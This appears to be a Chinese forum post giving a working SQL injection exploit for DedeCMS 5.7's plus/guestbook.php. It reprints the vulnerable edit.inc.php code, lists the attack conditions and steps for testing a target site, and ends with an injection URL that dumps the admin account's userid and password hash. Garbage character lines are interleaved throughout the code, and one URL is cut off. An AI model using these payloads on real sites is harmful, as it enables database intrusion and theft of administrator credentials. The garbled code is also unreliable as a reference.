dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
! K- Q5 t* S4 j8 Z- f
- S  `) D% B6 e# y漏洞文件edit.inc.php具体代码：
: {  k# N1 m, o$ r/ v! x
< ?php  

if(!defined('DEDEINC')) exit('Request Error!');  
  O3 r& E" ~5 y) P5 l
8 ^8 C. G: A' {" q   

5 N2 P- G* h) G. Y2 O# c$ v. O+ Dif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
% @) V/ ~: T5 ?. K3 @8 [& w5 u" d( i
else $GUEST_BOOK_POS = "guestbook.php";  
1 n9 R8 V2 \( f+ j: P1 C, e
; u! K3 q: ?; G2 X* e   
: g3 o% H7 h- x2 l7 [
  c! v" b2 h0 r( a- `% m. v$id = intval($id);  

2 L/ Z5 e$ f8 A! k. ?) ?if(empty($job)) $job='view';  

8 n- E! m; R) l0 R  L4 G   

; }2 i: o) E% C( q: pif($job=='del' && $g_isadmin)  
1 M% v* K6 |, D( Q
{  

7 h" ]+ k9 T; N; S$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

+ z8 B% D# O# C8 F3 L; aShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

  ^! R- |' Q% a( t4 ]8 o' Q2 `) S' [4 }exit();  
. o# s: h0 |1 p; E
  ~1 Z4 Y3 P- B2 Q/ p/ P! Y}  

( m2 Q( p6 U* x& q3 o+ Ielse if($job=='check' && $g_isadmin)  

0 u  r5 a3 K& a) D' q$ V8 |{  
6 G  I7 z& c% e" m
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

3 m0 _' S# V0 I: W% _$ gShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  
5 b  x1 _- b- W. P3 a" ^  C) R
1 B7 {7 [# D9 m' [" M8 {exit();  
3 d5 W) J: a2 q$ U/ G- e  R1 }$ g
. s& k9 ~1 T% j9 S8 C, d2 r}  

else if($job=='editok')  
9 e- I- C! u" A& [7 v+ ], [
% u! M% S5 o. G{  

2 b4 @& U6 K5 v) J0 Y7 Y2 h$remsg = trim($remsg);  
5 Q  ]: O) d0 k: r9 X$ K' X$ h" h
if($remsg!='')  
* X+ P* _5 B- C1 b! B
! E& o, p. n% P! }6 a{  

5 S  w& ]# C) T0 `* V2 N( @//管理员回复不过滤HTML By:Errorera blog:errs.cc  
! S9 g' ^, u6 N. ]1 N' H+ ]# ^) N
/ n* @  @5 Z, o! V6 B9 e6 P6 q" }" lif($g_isadmin)  

{  
- A0 i( V5 [8 [$ t  }( W4 s7 M1 W" L# T" @
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复：</font> }  

5 O4 w  k, {, Z# t. Belse

{  

, d# j9 [; V( S% ~$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
. }# m; J/ v" d  ^+ F
0 e; m- H3 M7 j$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

$msg = $oldmsg.$remsg;  

}  

: j7 F& [4 _0 z% t  y( ^/ N}  
% R+ }3 ?, |" i5 ?5 G/ c  a
//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
( Z2 I1 v9 |2 O) u4 ?) L
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

- W# ]9 q0 @6 bShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  
% n7 d! D* P. s- q2 y
) ]9 j" c, V1 Mexit();  
+ `( @% x% _+ J
/ q2 }( e9 ?+ T) [3 ^8 V- k& [}  
) d, ?  `& y% u7 Y: R8 _
# T& u; Y% c/ W$ M  Q//home:www.errs.cc  
5 M* H! E0 H$ `) n; _
' R: s7 K" w! r/ J6 X% \if($g_isadmin)  

" x" K+ n! a8 n( }" H4 ]$ c6 v{  

$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
2 R0 D$ o: D# ~! [6 Q4 w7 V
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

}  

# r1 F! Q8 v- P  Belse

0 S* [: Z! o# z2 r7 J6 L; K6 Z: z  \{  

$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

} 漏洞成功需要条件：
# ]; r% x! l  S7 G9 S1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
1 o; k4 }% Q$ |6 v' }. D1 `2 l
$ k3 ]( s* n& M4 i: s2 m  {. L怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
& R2 W1 e% J4 p& u8 S- H然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
9 ^; ~- B$ i4 C6 ]: m访问：

www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
7 r2 N  j6 G( F% v: ^8 G
: z% h. y- ?/ q, D+ D$ E! [, W
; o8 ?5 ~& i7 v( G# @$ N) }明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
! Z9 @6 \7 |; @% y" C( W  L如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问
: G5 Z1 H0 e6 x, P& Z' M: Q1 A$ n3 E
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().
3 I( j9 c( ~0 p; ?: W( w& ~. ]' R
大概利用就是这样，大家有兴趣的多研究下！！
. {1 P1 \4 Y/ ]# Y) C) a
: H6 z. r8 z0 T2 F& d; \最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='